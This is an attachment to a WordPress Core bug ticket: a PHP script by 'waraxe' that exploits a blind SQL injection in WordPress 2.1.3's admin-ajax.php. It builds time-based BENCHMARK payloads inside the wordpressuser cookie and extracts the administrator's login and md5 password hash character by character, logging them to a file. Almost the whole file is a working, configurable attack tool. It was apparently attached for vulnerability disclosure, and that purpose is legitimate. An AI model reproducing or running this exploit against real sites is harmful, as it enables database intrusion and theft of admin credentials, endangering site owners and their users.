Make WordPress Core

Ticket #4322: test.php

File test.php, 11.3 KB (added by DrHallows, 19 years ago)
Line 
1<?php
2error_reporting(E_ALL);
3$norm_delay = 0;
4///////////////////////////////////////////////////////////////////////
5///////////////////////////////////////////////////////////////////////
6// WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
7// written by Janek Vind "waraxe"
8// http://www.waraxe.us/
9// original version released - 21. may 2007
10// added login retrieving - 23. may 2007
11///////////////////////////////////////////////////////////////////////
12///////////////////////////////////////////////////////////////////////
13//=====================================================================
14$outfile = './warlog.txt';// Log file
15$url = 'http://www.xxx.com/wp-admin/admin-ajax.php';
16$testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
17$id = 1;// ID of the target user, default value "1" is admin's ID
18$suffix = '';// Override value, if needed
19$prefix = 'wp_';// WordPress table prefix, default is "wp_"
20$get_hash = true;// md5 hash retrieving - true or false
21$get_login = true;// user login retrieving - true or false
22//======================================================================
23
24echo "\n\nWordPress 2.1.3 blind sql injection exploit by waraxe \n\n";
25echo "Target: $url\n";
26echo "sql table prefix: $prefix\n";
27
28if(empty($suffix))
29{
30 $suffix = md5(substr($url, 0, strlen($url) - 24));
31}
32
33echo "cookie suffix: $suffix\n";
34
35echo "testing probe delays \n";
36
37$norm_delay = get_normdelay($testcnt);
38echo "normal delay: $norm_delay deciseconds\n";
39
40if($get_hash)
41{
42 echo "trying to get md5 hash from target \n";
43 $hash = get_hash();
44}
45
46if($get_login)
47{
48 echo "trying to get user login from target \n";
49 $login = get_login();
50}
51
52add_line("Target: $url");
53add_line("User ID: $id");
54if($get_login)
55{
56 add_line("Login: $login");
57}
58if($get_hash)
59{
60 add_line("Hash: $hash");
61}
62
63echo "\nWork finished\n";
64echo "Questions and feedback - http://www.waraxe.us/ \n";
65die("See ya! :) \n");
66///////////////////////////////////////////////////////////////////////
67///////////////////////////////////////////////////////////////////////
68function get_login()
69{
70 $field = 'user_login';
71 $out = '';
72
73 echo "first we need user login length ... \n";
74 $len = get_length($field, 60);
75 echo "user login length is $len chars\n";
76 echo "finding user login now ...\n";
77
78 for($i = 1; $i < $len + 1; $i ++)
79 {
80 $ch = get_anychar($field,$i);
81 echo "got $field pos $i --> $ch\n";
82 $out .= "$ch";
83 echo "current value for $field: $out \n";
84 }
85
86 echo "\nFinal result: $field=$out\n\n";
87
88 return $out;
89}
90///////////////////////////////////////////////////////////////////////
91function get_length($field, $maxlen = 60)
92{
93 global $prefix, $suffix, $id, $testcnt;
94 $len = 0;
95 $cnt = $testcnt * 4;
96 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
97 $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH($field)%s,BENCHMARK($cnt,MD5(1337)),3)/*";
98
99 $min = 0;
100 $max = $maxlen;
101 echo "starting $field length retrieve\n";
102
103 $curr = 0;
104
105 while(1)
106 {
107 $area = $max - $min;
108 if($area < 2 )
109 {
110 $inj = sprintf($ipattern, $prefix, $id, "=$max");
111 $post = sprintf($ppattern, $suffix, $inj, $suffix);
112 $eq = test_condition($post);
113
114 if($eq)
115 {
116 $len = $max;
117 }
118 else
119 {
120 $len = $min;
121 }
122
123 break;
124 }
125
126 $half = intval(floor($area / 2));
127 $curr = $min + $half;
128
129 $inj = sprintf($ipattern, $prefix, $id, ">$curr");
130 $post = sprintf($ppattern, $suffix, $inj, $suffix);
131
132 $bigger = test_condition($post);
133
134 if($bigger)
135 {
136 $min = $curr;
137 }
138 else
139 {
140 $max = $curr;
141 }
142
143 echo "curr: $curr--$max--$min\n";
144 }
145
146 return $len;
147
148}
149///////////////////////////////////////////////////////////////////////
150function get_hash()
151{
152 $len = 32;
153 $field = 'user_pass';
154 $out = '';
155
156 echo "finding hash now ...\n";
157
158 for($i = 1; $i < $len + 1; $i ++)
159 {
160 $ch = get_hashchar($field,$i);
161 echo "got $field pos $i --> $ch\n";
162 $out .= "$ch";
163 echo "current value for $field: $out \n";
164 }
165
166 echo "\nFinal result: $field=$out\n\n";
167
168 return $out;
169}
170///////////////////////////////////////////////////////////////////////
171function get_anychar($field,$pos)
172{
173 global $prefix, $suffix, $id, $testcnt;
174 $char = '';
175 $cnt = $testcnt * 4;
176 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
177 $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
178
179 $min = 32;
180 $max = 255;
181 $curr = 0;
182
183 while(1)
184 {
185 $area = $max - $min;
186 if($area < 2 )
187 {
188 $inj = sprintf($ipattern, $prefix, $id, "=$max");
189 $post = sprintf($ppattern, $suffix, $inj, $suffix);
190 $eq = test_condition($post);
191
192 if($eq)
193 {
194 $char = chr($max);
195 }
196 else
197 {
198 $char = chr($min);
199 }
200
201 break;
202 }
203
204 $half = intval(floor($area / 2));
205 $curr = $min + $half;
206
207 $inj = sprintf($ipattern, $prefix, $id, ">$curr");
208 $post = sprintf($ppattern, $suffix, $inj, $suffix);
209
210 $bigger = test_condition($post);
211
212 if($bigger)
213 {
214 $min = $curr;
215 }
216 else
217 {
218 $max = $curr;
219 }
220
221 echo "curr: $curr--$max--$min\n";
222 }
223
224 return $char;
225}
226///////////////////////////////////////////////////////////////////////
227function get_hashchar($field,$pos)
228{
229 global $prefix, $suffix, $id, $testcnt;
230 $char = '';
231 $cnt = $testcnt * 4;
232 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
233 $ipattern = " UNION ALL SELECT 1,2,$field,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
234
235 // First let's determine, if it's number or letter
236 $inj = sprintf($ipattern, $prefix, $id, ">57");
237 $post = sprintf($ppattern, $suffix, $inj, $suffix);
238 $letter = test_condition($post);
239
240 if($letter)
241 {
242 $min = 97;
243 $max = 102;
244 echo "char to find is [a-f]\n";
245 }
246 else
247 {
248 $min = 48;
249 $max = 57;
250 echo "char to find is [0-9]\n";
251 }
252
253 $curr = 0;
254
255 while(1)
256 {
257 $area = $max - $min;
258 if($area < 2 )
259 {
260 $inj = sprintf($ipattern, $prefix, $id, "=$max");
261 $post = sprintf($ppattern, $suffix, $inj, $suffix);
262 $eq = test_condition($post);
263
264 if($eq)
265 {
266 $char = chr($max);
267 }
268 else
269 {
270 $char = chr($min);
271 }
272
273 break;
274 }
275
276 $half = intval(floor($area / 2));
277 $curr = $min + $half;
278
279 $inj = sprintf($ipattern, $prefix, $id, ">$curr");
280 $post = sprintf($ppattern, $suffix, $inj, $suffix);
281
282 $bigger = test_condition($post);
283
284 if($bigger)
285 {
286 $min = $curr;
287 }
288 else
289 {
290 $max = $curr;
291 }
292
293 echo "curr: $curr--$max--$min\n";
294 }
295
296 return $char;
297}
298///////////////////////////////////////////////////////////////////////
299function test_condition($p)
300{
301 global $url, $norm_delay;
302 $bret = false;
303 $maxtry = 10;
304 $try = 1;
305
306 while(1)
307 {
308 $start = getmicrotime();
309 $buff = make_post($url, $p);
310 $end = getmicrotime();
311
312 if($buff === '-1')
313 {
314 break;
315 }
316 else
317 {
318 echo "test_condition() - try $try - invalid return value ...\n";
319 $try ++;
320 if($try > $maxtry)
321 {
322 die("too many tries - exiting ...\n");
323 }
324 else
325 {
326 echo "trying again - try $try ...\n";
327 }
328 }
329 }
330
331 $diff = $end - $start;
332 $delay = intval($diff * 10);
333
334 if($delay > ($norm_delay * 2))
335 {
336 $bret = true;
337 }
338
339 return $bret;
340}
341///////////////////////////////////////////////////////////////////////
342function get_normdelay($testcnt)
343{
344 $fa = test_md5delay(1);
345 echo "$fa\n";
346 $sa = test_md5delay($testcnt);
347 echo "$sa\n";
348 $fb = test_md5delay(1);
349 echo "$fb\n";
350 $sb = test_md5delay($testcnt);
351 echo "$sb\n";
352 $fc = test_md5delay(1);
353 echo "$fc\n";
354 $sc = test_md5delay($testcnt);
355 echo "$sc\n";
356
357 $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
358 echo "mean nondelayed - $mean_nondelayed dsecs\n";
359 $mean_delayed = intval(($sa + $sb + $sc) / 3);
360 echo "mean delayed - $mean_delayed dsecs\n";
361
362 return $mean_delayed;
363}
364///////////////////////////////////////////////////////////////////////
365function test_md5delay($cnt)
366{
367 global $url, $id, $prefix, $suffix;
368
369 // delay in deciseconds
370 $delay = -1;
371 $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
372 $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
373 $inj = sprintf($ipattern, $prefix, $id, $cnt);
374 $post = sprintf($ppattern, $suffix, $inj, $suffix);
375
376 $start = getmicrotime();
377 $buff = make_post($url, $post);
378 $end = getmicrotime();
379
380 if(intval($buff) !== -1)
381 {
382 die("test_md5delay($cnt) - invalid return value, exiting ...");
383 }
384
385 $diff = $end - $start;
386 $delay = intval($diff * 10);
387
388 return $delay;
389}
390///////////////////////////////////////////////////////////////////////
391function getmicrotime()
392{
393 list($usec, $sec) = explode(" ", microtime());
394 return ((float)$usec + (float)$sec);
395}
396///////////////////////////////////////////////////////////////////////
397function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
398{
399 $ch = curl_init();
400 $timeout = 120;
401 curl_setopt ($ch, CURLOPT_URL, $url);
402 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
403 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
404 curl_setopt($ch, CURLOPT_POST, 1);
405 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
406 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
407 curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
408
409 if(!empty($cookie))
410 {
411 curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
412 }
413
414 if(!empty($referer))
415 {
416 curl_setopt ($ch, CURLOPT_REFERER, $referer);
417 }
418
419 if($headers === TRUE)
420 {
421 curl_setopt ($ch, CURLOPT_HEADER, TRUE);
422 }
423 else
424 {
425 curl_setopt ($ch, CURLOPT_HEADER, FALSE);
426 }
427
428 $fc = curl_exec($ch);
429 curl_close($ch);
430
431 return $fc;
432}
433///////////////////////////////////////////////////////////////////////
434function add_line($buf)
435{
436 global $outfile;
437
438 $buf .= "\n";
439 $fh = fopen($outfile, 'ab');
440 fwrite($fh, $buf);
441 fclose($fh);
442
443}
444///////////////////////////////////////////////////////////////////////
445?>